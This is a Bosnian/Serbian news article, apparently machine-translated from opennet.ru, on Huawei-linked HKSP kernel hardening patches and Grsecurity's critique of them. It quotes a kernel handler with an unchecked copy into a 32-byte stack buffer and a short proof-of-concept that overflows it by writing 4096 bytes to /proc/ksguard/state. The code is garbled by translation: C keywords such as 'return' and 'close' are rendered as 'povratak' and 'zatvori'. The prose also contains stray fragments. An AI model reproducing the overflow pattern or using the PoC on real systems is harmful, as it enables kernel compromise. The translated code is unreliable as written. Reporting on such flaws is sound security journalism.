Programeri projekta Grsecurity
HKSP zakrpe je objavio zaposlenik Huaweija, uključuju spominjanje Huaweija u GitHub profilu, a koriste riječ Huawei u nazivu projekta (HKSP - Huawei Kernel Self Protection). Istovremeno, predstavnici Huaweija negirali su povezanost projekta HKSP s kompanijom i naveli da je kod razvijen na ličnu inicijativu zaposlenika, da nije službeni Huaweijev projekat i da se ne koristi u proizvodima kompanije. On
HKSP uključuje promjene kao što su randomizacija pomaka u strukturi kredita, zaštita od napada na imenski prostor identifikatora korisnika (pid namespace), odvajanje procesnog steka od mmap područja, detekcija dvostrukih poziva kfree funkciji, blokiranje curenja kroz pseudo -FS /proc (/proc/ {moduli, ključevi, korisnici ključeva}, /proc/sys/kernel/* i /proc/sys/vm/mmap_min_addr, /proc/kallsyms), poboljšana randomizacija adresa korisničkog prostora, dodatni Ptrace zaštita, poboljšana smap i smep zaštita, mogućnost zabrane slanja podataka preko sirovih soketa, blokiranje netačnih adresa u UDP soketima i provjera integriteta pokrenutih procesa. Takođe uključuje Ksguard kernel modul, koji ima za cilj otkrivanje pokušaja uvođenja tipičnih rootkita.
Zakrpe
Studija zakrpe koju su izvršili programeri Grsecurity otkrila je mnoge greške i slabosti u kodu, a pokazala je i odsustvo modela prijetnji koji bi im omogućio da adekvatno procijene mogućnosti projekta. Da bi se jasno pokazalo da je kod napisan bez korištenja metoda sigurnog programiranja, dat je primjer trivijalne ranjivosti u rukovaocu.
fajl /proc/ksguard/state, koji je kreiran sa pravima 0777, što implicira da svi imaju pristup pisanju. Funkcija ksg_state_write, koja se koristi za raščlanjivanje komandi napisanih u /proc/ksguard/state, kreira bafer tmp[32] u koji se upisuju podaci na osnovu veličine proslijeđenog operanda, bez uzimanja u obzir veličine ciljnog bafera i bez provjera parametra sa veličinom niza. One. Da prepiše dio steka kernela, napadač samo treba da upiše posebno formatiranu liniju u /proc/ksguard/state.
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
u64 vrijednost;
char tmp[32];
size_t n = 0;
if (copy_from_user(tmp, buf, len))
povratak -1;
vrijednost = simple_strtoul(tmp, '\0', 10);
...
Prototip eksploatacije:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
zatvori(fd);
}
izvor: opennet.ru